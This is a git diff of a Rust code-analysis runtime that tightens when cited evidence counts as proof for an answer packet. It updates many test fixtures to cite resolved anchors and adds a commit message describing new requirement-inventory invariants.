|| blocking_probe_queries.contains(query.as_str()) + || missing_probe_queries.contains(query.as_str()) + }) + .cloned() + .collect() } -fn insert_generic_boundary_roles(roles: &mut HashSet) { - roles.insert(FlowRole::Configuration); - roles.insert(FlowRole::StateOrStorage); - roles.insert(FlowRole::TerminalBoundary); +fn packet_blocking_follow_up_probe_queries( + blocking_missing_probe_queries: &[String], + blocking_unresolved_sidecar_queries: &[String], +) -> Vec { + let mut queries = Vec::new(); + let mut seen = HashSet::new(); + for query in blocking_missing_probe_queries + .iter() + .chain(blocking_unresolved_sidecar_queries) + { + if seen.insert(query.as_str()) { + queries.push(query.clone()); + } + } + queries } #[allow(clippy::items_after_test_module)] @@ -3020,6 +2058,28 @@ mod tests { citation } + /// A resolved anchor at a specific repository path, the shape sufficiency now requires: a + /// requirement is closed by the evidence a claim cites, so fixtures have to name real symbols. + fn anchor_at(name: &str, file_path: &str) -> AgentCitationDto { + cited_anchor_with_tier( + name, + file_path, + PacketEvidenceTierDto::ResolvedGraph, + Some(true), + ) + } + + fn typed_anchor_at(name: &str, file_path: &str, kind: NodeKind) -> AgentCitationDto { + let mut citation = anchor_at(name, file_path); + citation.kind = kind; + citation + } + + /// A proof-bearing claim whose only support is the cited anchor. + fn evidence_claim(text: &str, citation: AgentCitationDto) -> PacketClaimDto { + cited_claim(text, None, citation, Some(true)) + } + fn cited_claim( text: &str, coverage_role: Option<&str>, @@ -4320,7 +3380,7 @@ mod tests { ); assert!( report.ineligible.iter().all(|entry| entry.contains( - "reason=\"generic navigation/source-evidence claim lacks required coverage role\"" + "reason=\"generic navigation/source-evidence claim does not explain the flow\"" )), "generic HTML claims should explain diagnostic demotion: {report:?}" ); @@ -4493,7 +3553,6 @@ mod tests { let missing = packet_missing_exact_path_claims( project_root, - PacketTaskClassDto::ArchitectureExplanation, &paths.map(str::to_string), &[overlapping_claim, launcher_claim], ); @@ -4525,7 +3584,6 @@ mod tests { let missing = packet_missing_exact_path_claims( project_root, - PacketTaskClassDto::ArchitectureExplanation, &paths.map(str::to_string), &[broad_claim], ); @@ -4619,23 +3677,17 @@ mod tests { let question = "Explain how the form validation examples combine native HTML constraints with custom JavaScript validation."; let answer = answer_fixture(question); let budget = budget_fixture(); - let claims = vec![ - claim( - "The form validation examples use native required, pattern, min, and max constraints.", - ), - claim("Submit handlers prevent submission when the form is invalid."), - cited_claim( - "`validateForm` in `src/forms.js` ties form validation in this flow to cited definitions and adjacent ownership.", - Some("transform_or_validate"), - cited_anchor_with_tier( - "validateForm", - "src/forms.js", - PacketEvidenceTierDto::ResolvedGraph, - Some(true), - ), - Some(false), + let claims = vec![cited_claim( + "`validateForm` in `src/forms.js` ties form validation in this flow to cited definitions and adjacent ownership.", + Some("transform_or_validate"), + cited_anchor_with_tier( + "validateForm", + "src/forms.js", + PacketEvidenceTierDto::ResolvedGraph, + Some(true), ), - ]; + Some(false), + )]; let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { project_root: Path::new("C:/workspace/project"), @@ -4701,7 +3753,12 @@ mod tests { } #[test] - fn sql_synthetic_source_scan_table_and_foreign_key_cover_schema_requirements() { + fn sql_synthetic_source_scan_evidence_never_covers_schema_requirements() { + // Same prompt and the same three source-scan anchors this fixture always used. A synthetic + // source scan is a text match, not a resolved definition, and it used to be admitted as + // proof for the two SQL requirements by a per-requirement bypass. Sufficiency is a statement + // about proof, so the bypass is gone: the scan is still reported, with its concrete role, + // as evidence worth following up rather than as a covered requirement. let question = "Explain SQL schema relationships between artists, albums, tracks, invoices, and invoice lines across seed scripts."; let answer = answer_fixture(question); let budget = budget_fixture(); @@ -4752,28 +3809,37 @@ mod tests { targeted_follow_up_queries: Vec::new(), }); - assert_eq!(sufficiency.status, PacketSufficiencyStatusDto::Sufficient); + assert_eq!(sufficiency.status, PacketSufficiencyStatusDto::Partial); let report = sufficiency.coverage_report.as_ref().unwrap(); + for requirement in ["sql_tables", "sql_relationships"] { + assert!( + report.missing.contains(&requirement.to_string()), + "a source scan does not prove {requirement}: {report:?}" + ); + } assert!( - report - .covered - .contains(&"sql table definitions".to_string()), - "source-scan SQL table text should report the concrete role: {report:?}" + report.covered.is_empty(), + "source-scan evidence must not appear as covered proof: {report:?}" ); + assert_eq!(report.ineligible.len(), 3); assert!( - report.covered.contains(&"sql relationships".to_string()), - "source-scan SQL relationship text should report the concrete role: {report:?}" + report + .ineligible + .iter() + .all(|entry| entry.contains("tier=\"synthetic_source_scan\"") + && entry.contains("reason=\"claim marked diagnostic\"")), + "every source-scan claim is reported with its tier and reason: {report:?}" ); assert!( - !report.covered.contains(&"source evidence".to_string()), - "covered roles must not imply generic source evidence is proof: {report:?}" + report + .ineligible + .iter() + .any(|entry| entry.contains("role=\"sql schema scripts\"")), + "the concrete role each scan carried is preserved in the report: {report:?}" ); - assert_eq!(report.ineligible.len(), 1); - assert!(report.ineligible[0].contains("role=\"sql schema scripts\"")); - assert!(report.ineligible[0].contains("tier=\"synthetic_source_scan\"")); assert!( - report.ineligible[0].contains("reason=\"claim marked diagnostic\""), - "plain SQL source-scan file evidence should remain diagnostic: {report:?}" + sufficiency.covered_claims.is_empty(), + "no source-scan claim is published as safe to repeat: {sufficiency:?}" ); } @@ -5033,7 +4099,7 @@ mod tests { report.ineligible.iter().any(|entry| { entry.contains("role=\"source evidence\"") && entry.contains( - "generic navigation/source-evidence claim lacks required coverage role", + "generic navigation/source-evidence claim does not explain the flow", ) }), "source-navigation handler claim should remain diagnostic-only: {report:?}" @@ -5079,10 +4145,14 @@ mod tests { let answer = answer_fixture(question); let budget = budget_fixture(); let claims = vec![ - claim( + evidence_claim( "Runtime formatting uses type-erased arguments before dispatching formatted output helpers.", + anchor_at("basic_format_args", "include/fmt/base.h"), + ), + evidence_claim( + "Runtime formatting writes formatted output through output iterator helpers.", + anchor_at("vformat_to", "include/fmt/format.h"), ), - claim("Runtime formatting writes formatted output through output iterator helpers."), cited_claim( "SQL schema defines tables Artist and Album.", Some("source evidence"), @@ -5164,17 +4234,42 @@ mod tests { ); } + fn form_native_constraint_claim() -> PacketClaimDto { + evidence_claim( + "The form validation examples use native required, pattern, min, and max constraints.", + anchor_at("required", "examples/form-validation/index.html"), + ) + } + + fn form_custom_validation_claim() -> PacketClaimDto { + evidence_claim( + "A custom validation example applies script-driven validity checks before rendering messages.", + anchor_at("setCustomValidity", "examples/form-validation/validate.js"), + ) + } + + fn form_submit_guard_claim() -> PacketClaimDto { + evidence_claim( + "Submit handlers prevent submission when the form is invalid.", + anchor_at("onSubmitGuard", "examples/form-validation/submit.js"), + ) + } + #[test] fn covered_flow_roles_make_missing_probe_queries_follow_up_hints() { let question = "Explain how the form validation examples combine native HTML constraints with custom JavaScript validation."; let answer = answer_fixture(question); let budget = budget_fixture(); let claims = vec![ - claim( - "The form validation examples use native required, pattern, min, and max constraints.", + form_native_constraint_claim(), + form_submit_guard_claim(), + evidence_claim( + "Custom error rendering branches on ValidityState fields to choose messages.", + anchor_at( + "renderValidityMessage", + "examples/form-validation/messages.js", + ), ), - claim("Submit handlers prevent submission when the form is invalid."), - claim("Custom error rendering branches on ValidityState fields to choose messages."), ]; let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { @@ -5208,12 +4303,9 @@ mod tests { let question = "Explain how the form validation examples combine native HTML constraints with custom JavaScript validation."; let answer = answer_fixture(question); let budget = budget_fixture(); - let claims = vec![ - claim( - "The form validation examples use native required, pattern, min, and max constraints.", - ), - claim("Submit handlers prevent submission when the form is invalid."), - ]; + // Both claims are proof-bearing and cite real anchors, so only the shape of that evidence + // can decide whether the custom-validation slot is covered. + let claims = vec![form_native_constraint_claim(), form_submit_guard_claim()]; let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { project_root: Path::new("C:/workspace/project"), @@ -5241,12 +4333,9 @@ mod tests { let question = "Explain how the form validation examples combine native HTML constraints with custom JavaScript validation."; let answer = answer_fixture(question); let budget = budget_fixture(); - let claims = vec![ - claim( - "A custom validation example applies script-driven validity checks before rendering messages.", - ), - claim("Submit handlers prevent submission when the form is invalid."), - ]; + // Both claims are proof-bearing and cite real anchors, so only the shape of that evidence + // can decide whether the native-constraint slot is covered. + let claims = vec![form_custom_validation_claim(), form_submit_guard_claim()]; let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { project_root: Path::new("C:/workspace/project"), @@ -5275,13 +4364,9 @@ mod tests { let answer = answer_fixture(question); let budget = budget_fixture(); let claims = vec![ - claim( - "The form validation examples use native required, pattern, min, and max constraints.", - ), - claim( - "A custom validation example applies script-driven validity checks before rendering messages.", - ), - claim("Submit handlers prevent submission when the form is invalid."), + form_native_constraint_claim(), + form_custom_validation_claim(), + form_submit_guard_claim(), ]; let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { @@ -5398,11 +4483,18 @@ mod tests { vec!["citations", "markdown_blocks", "trail_edges"], ); let claims = vec![ - claim( + evidence_claim( "Runtime formatting uses type-erased arguments before dispatching formatted output helpers.", + anchor_at("basic_format_args", "include/fmt/base.h"), + ), + evidence_claim( + "Runtime formatting writes formatted output through output iterator helpers.", + anchor_at("vformat_to", "include/fmt/format.h"), + ), + evidence_claim( + "Runtime formatting defines format_error for formatting failures.", + anchor_at("format_error", "include/fmt/format.h"), ), - claim("Runtime formatting writes formatted output through output iterator helpers."), - claim("Runtime formatting defines format_error for formatting failures."), ]; let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { @@ -5555,6 +4647,15 @@ mod tests { future_precise_import, None, )); + let claim_count = claims.len(); + let diagnostic_tier_claim_count = claims + .iter() + .filter(|claim| !claim.citations.iter().any(citation_sufficiency_eligible)) + .count(); + assert!( + diagnostic_tier_claim_count > 0, + "the fixture must still contain diagnostic-tier evidence for this to mean anything" + ); let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { project_root: Path::new("C:/workspace/project"), @@ -5567,7 +4668,21 @@ mod tests { targeted_follow_up_queries: Vec::new(), }); - assert_eq!(sufficiency.covered_claims.len(), 7); + // Provenance is a report over everything the packet retrieved, so all seven tiers still + // appear below. `covered_claims` is narrower on purpose: it is what the caller may repeat, + // and a claim whose only anchor is diagnostic-tier evidence is not proven. + assert_eq!( + sufficiency.covered_claims.len(), + claim_count - diagnostic_tier_claim_count, + "only the claims whose evidence is sufficiency-eligible are published: {sufficiency:?}" + ); + assert!( + sufficiency + .covered_claims + .iter() + .all(|claim| claim.citations.iter().any(citation_sufficiency_eligible)), + "no published claim rests on diagnostic-only evidence: {sufficiency:?}" + ); assert!(!sufficiency.follow_up_commands.is_empty()); let report = sufficiency.coverage_report.as_ref().unwrap(); let expected_labels = [ @@ -5604,17 +4719,40 @@ mod tests { ); } + /// The client-send lifecycle proved by cited evidence, one anchor per requirement, with the + /// response boundary deliberately left out. Every claim keeps the wording it had when this + /// fixture proved the same requirements through claim text. + fn client_send_covering_claims() -> Vec { + vec![ + evidence_claim( + "Top-level HTTP helpers delegate to a Client.", + anchor_at("createClient", "lib/client.dart"), + ), + evidence_claim( + "Client convenience methods live on the client interface helper.", + typed_anchor_at("Client.get", "lib/client.dart", NodeKind::METHOD), + ), + evidence_claim( + "Base request finalize prepares request bodies for sending.", + anchor_at("BaseRequest.finalize", "lib/base_request.dart"), + ), + evidence_claim( + "The client dispatches the prepared request.", + anchor_at("dispatchRequest", "lib/dispatch.dart"), + ), + evidence_claim( + "The transport send implementation sends through an HTTP client adapter.", + anchor_at("selectAdapter", "lib/adapters/select.dart"), + ), + ] + } + #[test] fn client_send_split_requirements_remain_distinct() { let question = "Explain how an HTTP client exposes top-level helpers, provides client convenience methods, finalizes requests before transport send, and materializes responses."; let answer = answer_fixture(question); let budget = budget_fixture(); - let claims = vec![ - claim("Top-level HTTP helpers delegate to a Client."), - claim("Client convenience methods live on the client interface helper."), - claim("Base request finalize prepares request bodies for sending."), - claim("The transport send implementation sends through an HTTP client adapter."), - ]; + let claims = client_send_covering_claims(); let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { project_root: Path::new("C:/workspace/http-client"), @@ -5641,13 +4779,11 @@ mod tests { let question = "Explain how an HTTP client exposes top-level helpers, provides client convenience methods, finalizes requests before transport send, and materializes responses."; let answer = answer_fixture(question); let budget = budget_fixture(); - let claims = vec![ - claim("Top-level HTTP helpers delegate to a Client."), - claim("Client convenience methods live on the client interface helper."), - claim("Base request finalize prepares request bodies for sending."), - claim("The transport send implementation sends through an HTTP client adapter."), - claim("Response.fromStream materializes the response stream boundary."), - ]; + let mut claims = client_send_covering_claims(); + claims.push(evidence_claim( + "Response.fromStream materializes the response stream boundary.", + anchor_at("Response.fromStream", "lib/response.dart"), + )); let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { project_root: Path::new("C:/workspace/http-client"), @@ -5668,16 +4804,30 @@ mod tests { ); } + /// The hook/cache flow proved by cited evidence, with the cache helper deliberately left out. + fn hook_cache_covering_claims() -> Vec { + vec![ + evidence_claim( + "The public useData export wraps useDataHandler with argument normalization.", + anchor_at("useData", "src/index/use-data.ts"), + ), + evidence_claim( + "useDataHandler serializes hook keys into cache keys.", + anchor_at("serializeKey", "src/_internal/utils/serialize.ts"), + ), + evidence_claim( + "applyMutation routes mutate behavior through the mutation helper.", + anchor_at("applyMutation", "src/_internal/utils/mutate.ts"), + ), + ] + } + #[test] fn hook_cache_requirements_remain_distinct() { let question = "Explain how a public hook serializes keys, connects cache helpers, and routes mutate behavior through a mutation helper."; let answer = answer_fixture(question); let budget = budget_fixture(); - let claims = vec![ - claim("The public useData export wraps useDataHandler with argument normalization."), - claim("useDataHandler serializes hook keys into cache keys."), - claim("applyMutation routes mutate behavior through the mutation helper."), - ]; + let claims = hook_cache_covering_claims(); let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { project_root: Path::new("C:/workspace/hook-cache"), @@ -5704,12 +4854,11 @@ mod tests { let question = "Explain how a public hook serializes keys, connects cache helpers, and routes mutate behavior through a mutation helper."; let answer = answer_fixture(question); let budget = budget_fixture(); - let claims = vec![ - claim("The public useData export wraps useDataHandler with argument normalization."), - claim("useDataHandler serializes hook keys into cache keys."), - claim("makeCacheHelper provides cache get, set, subscribe, and snapshot helpers."), - claim("applyMutation routes mutate behavior through the mutation helper."), - ]; + let mut claims = hook_cache_covering_claims(); + claims.push(evidence_claim( + "makeCacheHelper provides cache get, set, subscribe, and snapshot helpers.", + anchor_at("makeCacheHelper", "src/_internal/utils/helper.ts"), + )); let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { project_root: Path::new("C:/workspace/hook-cache"), @@ -5730,16 +4879,30 @@ mod tests { ); } + /// The command-loop flow proved by cited evidence, with network input deliberately left out. + fn command_loop_covering_claims() -> Vec { + vec![ + evidence_claim( + "Server bootstrap initializes the command server main loop.", + anchor_at("main", "src/server.c"), + ), + evidence_claim( + "The event loop source polls file events.", + anchor_at("aeProcessEvents", "src/event/ae.c"), + ), + evidence_claim( + "Command table dispatch routes commands to handlers.", + anchor_at("processCommand", "src/server.c"), + ), + ] + } + #[test] fn command_loop_split_requirements_remain_distinct() { let question = "Trace how a command server bootstrap enters an event loop, reads network command input, and dispatches commands through a command table."; let answer = answer_fixture(question); let budget = budget_fixture(); - let claims = vec![ - claim("Server bootstrap initializes the command server main loop."), - claim("The event loop source polls file events."), - claim("Command table dispatch routes commands to handlers."), - ]; + let claims = command_loop_covering_claims(); let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { project_root: Path::new("C:/workspace/command-server"), @@ -5768,8 +4931,14 @@ mod tests { let answer = answer_fixture(question); let budget = budget_fixture(); let claims = vec![ - claim("Network command input reads commands from socket input."), - claim("Command table dispatch routes commands to handlers."), + evidence_claim( + "Network command input reads commands from socket input.", + anchor_at("readQueryFromClient", "src/networking.c"), + ), + evidence_claim( + "Command table dispatch routes commands to handlers.", + anchor_at("processCommand", "src/server.c"), + ), ]; let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { @@ -5796,12 +4965,11 @@ mod tests { let question = "Trace how a command server bootstrap enters an event loop, reads network command input, and dispatches commands through a command table."; let answer = answer_fixture(question); let budget = budget_fixture(); - let claims = vec![ - claim("Server bootstrap initializes the command server main loop."), - claim("The event loop source polls file events."), - claim("Network command input reads commands from socket input."), - claim("Command table dispatch routes commands to handlers."), - ]; + let mut claims = command_loop_covering_claims(); + claims.push(evidence_claim( + "Network command input reads commands from socket input.", + anchor_at("readQueryFromClient", "src/networking.c"), + )); let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { project_root: Path::new("C:/workspace/command-server"), @@ -5915,10 +5083,22 @@ mod tests { #[test] fn route_tracing_site_build_prompts_use_lifecycle_flow_roles() { let claims = vec![ - claim("Build.process constructs or processes a site."), - claim("Site.process runs reset, read, generate, render, cleanup, and write phases."), - claim("Reader is responsible for reading site content."), - claim("Renderer renders pages and documents."), + evidence_claim( + "Build.process constructs or processes a site.", + anchor_at("Build.process", "lib/site/build.rb"), + ), + evidence_claim( + "Site.process runs reset, read, generate, render, cleanup, and write phases.", + anchor_at("Site.process", "lib/site/site.rb"), + ), + evidence_claim( + "Reader is responsible for reading site content.", + anchor_at("Reader.read_content", "lib/site/reader.rb"), + ), + evidence_claim( + "Renderer renders pages and documents.", + anchor_at("Renderer.render", "lib/site/renderer.rb"), + ), ]; let missing = packet_missing_required_flow_roles( @@ -5945,15 +5125,25 @@ mod tests { #[test] fn route_tracing_server_request_prompts_use_wsgi_flow_roles() { let claims = vec![ - claim( + evidence_claim( "wsgi_app is the WSGI entry point and creates or uses request context before dispatch.", + anchor_at("Flask.wsgi_app", "src/flask/protocol/wsgi.py"), ), - claim( + evidence_claim( "full_dispatch_request wraps preprocessing, dispatch, exception handling, and response finalization.", + anchor_at("Flask.full_dispatch_request", "src/flask/app.py"), ), - claim("dispatch_request invokes the view function selected by URL matching."), - claim( + evidence_claim( + "dispatch_request invokes the view function selected by URL matching.", + anchor_at("Flask.dispatch_request", "src/flask/app.py"), + ), + evidence_claim( "Route registration decorator adds URL rules without performing request dispatch itself.", + anchor_at("Flask.add_url_rule", "src/flask/scaffold.py"), + ), + evidence_claim( + "The response buffer writes the finalized body back to the server.", + anchor_at("ResponseBuffer.write", "src/flask/wrappers.py"), ), ]; @@ -6593,16 +5783,25 @@ mod tests { #[test] fn architecture_html_css_template_prompts_use_structural_roles() { let claims = vec![ - claim( + evidence_claim( "home.html provides the app shell with viewport metadata, div#app, and a script[type=\"module\"] module script entry.", + anchor_at("div#app", "src/home.html"), ), - claim( + evidence_claim( "main.css owns :root typography, color-scheme, smoothing, and body layout defaults.", + anchor_at(":root", "src/main.css"), ), - claim("CSS app container rules constrain mounted content and center it with padding."), - claim("CSS interaction selectors define hover, focus, and transition behavior."), - claim( + evidence_claim( + "CSS app container rules constrain mounted content and center it with padding.", + anchor_at("#app", "src/main.css"), + ), + evidence_claim( + "CSS interaction selectors define hover, focus, and transition behavior.", + anchor_at("a:hover", "src/main.css"), + ), + evidence_claim( "Light color-scheme media query rules override root, link-hover, and button colors.", + anchor_at("@media (prefers-color-scheme: light)", "src/main.css"), ), ]; @@ -6624,14 +5823,17 @@ mod tests { let answer = answer_fixture(question); let budget = budget_fixture(); let claims = vec![ - claim( + evidence_claim( "The animation stylesheet entrypoint imports variable, base, and animation files.", + anchor_at("@import \"animations/base\"", "src/animations/index.css"), ), - claim( + evidence_claim( "Shared CSS custom properties define animation duration, delay, and repeat defaults.", + anchor_at("--animation-duration", "src/animations/variables.css"), ), - claim( + evidence_claim( "The base class applies animation duration and fill mode, while named classes set animation-name to matching keyframes.", + anchor_at("@keyframes fade-in", "src/animations/fade.css"), ), ]; @@ -6660,11 +5862,18 @@ mod tests { let answer = answer_fixture(question); let budget = budget_fixture(); let claims = vec![ - claim( + evidence_claim( "main.css owns :root typography, color-scheme, smoothing, and body layout defaults.", + anchor_at(":root", "src/main.css"), + ), + evidence_claim( + "CSS app container rules constrain mounted content and center it with padding.", + anchor_at("#app", "src/main.css"), + ), + evidence_claim( + "CSS interaction selectors define hover, focus, and transition behavior.", + anchor_at("a:hover", "src/main.css"), ), - claim("CSS app container rules constrain mounted content and center it with padding."), - claim("CSS interaction selectors define hover, focus, and transition behavior."), ]; let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { @@ -6693,13 +5902,30 @@ mod tests { #[test] fn data_flow_mapper_plan_prompts_use_mapping_flow_roles() { let claims = vec![ - claim("Mapper runtime source exposes the public object-mapping entry point."), - claim("Mapping configuration source builds and owns runtime mapping plans."), - claim( + evidence_claim( + "Mapper runtime source exposes the public object-mapping entry point.", + anchor_at("Mapper.Map", "src/AutoMapper/Mapper.cs"), + ), + evidence_claim( + "Mapping configuration source builds and owns runtime mapping plans.", + anchor_at( + "MapperConfiguration.BuildProfile", + "src/AutoMapper/MapperConfiguration.cs", + ), + ), + evidence_claim( "Type-map source contributes lambda plans used by the mapping execution pipeline.", + anchor_at( + "TypeMapPlanBuilder", + "src/AutoMapper/Execution/TypeMapPlanBuilder.cs", + ), ), - claim( + evidence_claim( "The mapping plan builder participates in building expression plans for mappings.", + anchor_at( + "ExpressionPlanBuilder", + "src/AutoMapper/Execution/ExpressionPlanBuilder.cs", + ), ), ]; @@ -6716,30 +5942,23 @@ mod tests { #[test] fn data_flow_sql_schema_prompts_use_schema_relationship_roles() { + // The same schema anchors as before, resolved rather than source-scanned: a text scan is + // diagnostic evidence and no longer promotes a verdict, so the covering case has to cite + // resolved schema anchors. `sql_looking_claim_text_without_structural_citations_stays_partial` + // keeps the uncovered direction. let claims = vec![ - cited_claim( + evidence_claim( "SQL schema defines tables Artist, Album, Track, Invoice, and InvoiceLine.", - Some("source evidence"), - cited_anchor_with_tier( - "CREATE TABLE Artist", - "schema.sql", - PacketEvidenceTierDto::SyntheticSourceScan, - Some(false), - ), - Some(false), + anchor_at("CREATE TABLE Artist", "db/schema.sql"), ), - cited_claim( + evidence_claim( "Track rows reference Album, Genre, and MediaType rows.", - Some("source evidence"), - cited_anchor_with_tier( - "FOREIGN KEY", - "schema.sql", - PacketEvidenceTierDto::SyntheticSourceScan, - Some(false), - ), - Some(false), + anchor_at("FOREIGN KEY", "db/schema.sql"), + ), + evidence_claim( + "The repository carries multiple SQL dialect scripts for the same schema.", + anchor_at("CHECK constraint", "db/postgres.sql"), ), - claim("The repository carries multiple SQL dialect scripts for the same schema."), ]; let missing = packet_missing_required_flow_roles( @@ -6756,10 +5975,28 @@ mod tests { #[test] fn data_flow_log_record_handler_prompts_use_record_and_handler_roles() { let claims = vec![ - claim("The logger owns a handler stack populated by handler registration."), - claim("addRecord creates a log record before passing it to handlers."), - claim("The handler interface defines record handling and batch handling boundaries."), - claim("The processing handler handles records by processing and writing them."), + evidence_claim( + "The logger owns a handler stack populated by handler registration.", + anchor_at("Logger.pushHandler", "src/logging/Logger.php"), + ), + evidence_claim( + "addRecord creates a log record before passing it to handlers.", + anchor_at("Logger.addRecord", "src/logging/Logger.php"), + ), + evidence_claim( + "The handler interface defines record handling and batch handling boundaries.", + anchor_at( + "HandlerInterface.handleBatch", + "src/logging/HandlerInterface.php", + ), + ), + evidence_claim( + "The processing handler handles records by processing and writing them.", + anchor_at( + "AbstractProcessingHandler.write", + "src/logging/AbstractProcessingHandler.php", + ), + ), ]; let missing = packet_missing_required_flow_roles( @@ -6780,11 +6017,18 @@ mod tests { #[test] fn architecture_runtime_formatting_prompts_use_argument_output_error_roles() { let claims = vec![ - claim( + evidence_claim( "Runtime formatting uses type-erased arguments before dispatching formatted output helpers.", + anchor_at("basic_format_args", "include/fmt/base.h"), + ), + evidence_claim( + "Runtime formatting writes formatted output through output iterator helpers.", + anchor_at("vformat_to", "include/fmt/format.h"), + ), + evidence_claim( + "Runtime formatting defines an error type for formatting failures.", + anchor_at("format_error", "include/fmt/format.h"), ), - claim("Runtime formatting writes formatted output through output iterator helpers."), - claim("Runtime formatting defines an error type for formatting failures."), ]; let missing = packet_missing_required_flow_roles( @@ -6805,14 +6049,25 @@ mod tests { #[test] fn architecture_form_validation_prompts_use_constraint_submit_and_validity_roles() { let claims = vec![ - claim( + evidence_claim( "The form validation examples use native required, pattern, min, and max constraints.", + anchor_at("required", "examples/form-validation/index.html"), ), - claim( + evidence_claim( "A custom validation example applies script-driven validity checks before rendering messages.", + anchor_at("setCustomValidity", "examples/form-validation/validate.js"), + ), + evidence_claim( + "Submit handlers prevent submission when the form is invalid.", + anchor_at("onSubmitGuard", "examples/form-validation/submit.js"), + ), + evidence_claim( + "Custom error rendering branches on ValidityState fields to choose messages.", + anchor_at( + "renderValidityMessage", + "examples/form-validation/messages.js", + ), ), - claim("Submit handlers prevent submission when the form is invalid."), - claim("Custom error rendering branches on ValidityState fields to choose messages."), ]; let missing = packet_missing_required_flow_roles( @@ -6833,9 +6088,27 @@ mod tests { #[test] fn architecture_string_predicate_prompts_use_blank_empty_region_roles() { let claims = vec![ - claim("StringUtils.isBlank treats null, empty, and whitespace-only inputs as blank."), - claim("StringUtils.isEmpty does not trim whitespace before deciding emptiness."), - claim("Strings delegates region matching work to CharSequenceUtils.regionMatches."), + evidence_claim( + "StringUtils.isBlank treats null, empty, and whitespace-only inputs as blank.", + anchor_at( + "StringUtils.isBlank", + "src/main/java/org/apache/commons/lang3/StringUtils.java", + ), + ), + evidence_claim( + "StringUtils.isEmpty does not trim whitespace before deciding emptiness.", + anchor_at( + "StringUtils.isEmpty", + "src/main/java/org/apache/commons/lang3/StringUtils.java", + ), + ), + evidence_claim( + "Strings delegates region matching work to CharSequenceUtils.regionMatches.", + anchor_at( + "Strings.regionMatches", + "src/main/java/org/apache/commons/lang3/Strings.java", + ), + ), ]; let missing = packet_missing_required_flow_roles( diff --git a/crates/codestory-runtime/src/agent/packet_terms.rs b/crates/codestory-runtime/src/agent/packet_terms.rs index 175e4f575..69885f28d 100644 --- a/crates/codestory-runtime/src/agent/packet_terms.rs +++ b/crates/codestory-runtime/src/agent/packet_terms.rs @@ -675,26 +675,28 @@ pub(crate) fn packet_terms_indicate_shell_version_use_flow(terms: &[String]) -> ) && packet_terms_have_any(terms, &["use", "switch", "active", "current", "needed"]) } +/// A shell-install prompt needs an actual shell signal. "command"/"function" alone also describe a +/// command server, and a shell requirement raised over a command-server prompt is unclosable: no +/// citation in such a repository is a shell script, so the packet would report partial forever. pub(crate) fn packet_terms_indicate_shell_install_dispatch_flow(terms: &[String]) -> bool { - packet_terms_have_any( - terms, - &["bash", "shell", "script", "function", "command", "commands"], - ) && packet_terms_have_any( - terms, - &[ - "install", - "installer", - "bootstraps", - "bootstrap", - "download", - "downloads", - "completion", - "profile", - "source", - "sourced", - "use", - ], - ) && packet_terms_have_any(terms, &["dispatch", "dispatches", "function", "commands"]) + packet_terms_have_any(terms, &["bash", "shell", "sh", "zsh", "script", "scripts"]) + && packet_terms_have_any( + terms, + &[ + "install", + "installer", + "bootstraps", + "bootstrap", + "download", + "downloads", + "completion", + "profile", + "source", + "sourced", + "use", + ], + ) + && packet_terms_have_any(terms, &["dispatch", "dispatches", "function", "commands"]) } pub(crate) fn packet_terms_indicate_string_predicate_flow(terms: &[String]) -> bool { From 7649107477b952544ab8cefeb3f4594003008c33 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 11:38:03 -0500 Subject: [PATCH 045/132] pin the requirement inventory, same-role distinctness, and the holdout gates MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three invariants the previous shape could not express: - the checked-in requirement inventory. The old invariant asked whether any evidence role could carry a requirement's FlowRole, which a failing lane could satisfy by deleting the requirement. This one fails on removal too, so the only way past it is an edit a reviewer reads. - every requirement has a witness anchor that closes it, so a requirement that becomes unclosable is caught rather than reporting partial forever. - for every pair of requirements sharing a FlowRole inside one flow, each one's witness must leave the other missing. This is the property whose absence let one citation close a whole role. Plus regression tests pinned to the three holdout-retrieval prompts, asserting Partial when the named component is uncited and — in the axios case — that citing an interceptor owner closes it again. Co-Authored-By: Claude Opus 5 --- .../src/agent/packet_flow_requirements.rs | 534 ++++++++++++++++ .../src/agent/packet_sufficiency.rs | 594 +++++++++++++++++- 2 files changed, 1120 insertions(+), 8 deletions(-) diff --git a/crates/codestory-runtime/src/agent/packet_flow_requirements.rs b/crates/codestory-runtime/src/agent/packet_flow_requirements.rs index 5ee43827d..6a9912222 100644 --- a/crates/codestory-runtime/src/agent/packet_flow_requirements.rs +++ b/crates/codestory-runtime/src/agent/packet_flow_requirements.rs @@ -802,10 +802,76 @@ const SEARCH_EXECUTION_FLOW: &[FlowRequirement] = &[ }, ]; +/// Every requirement table, grouped the way a single question raises them. Requirements that share +/// a group and a `FlowRole` are the ones that must stay separable by evidence, so tests need the +/// grouping and not just a flat list. +#[cfg(test)] +pub(crate) fn all_flow_requirement_groups() -> Vec<(&'static str, Vec)> { + let mut client_dispatch = CLIENT_REQUEST_DISPATCH_FLOW.to_vec(); + client_dispatch.push(REQUEST_INTERCEPTOR_REQUIREMENT); + vec![ + ("indexing", INDEXING_FLOW.to_vec()), + ( + "server_request_dispatch", + SERVER_REQUEST_DISPATCH_FLOW.to_vec(), + ), + ("client_request_dispatch", client_dispatch), + ("url_session", URL_SESSION_FLOW.to_vec()), + ( + "client_send", + vec![ + CLIENT_PUBLIC_FACADE_REQUIREMENT, + CLIENT_INTERFACE_HELPERS_REQUIREMENT, + CLIENT_REQUEST_FINALIZATION_REQUIREMENT, + CLIENT_TRANSPORT_SEND_REQUIREMENT, + CLIENT_RESPONSE_MATERIALIZATION_REQUIREMENT, + ], + ), + ( + "hook_cache", + vec![ + HOOK_PUBLIC_EXPORT_REQUIREMENT, + HOOK_KEY_SERIALIZATION_REQUIREMENT, + 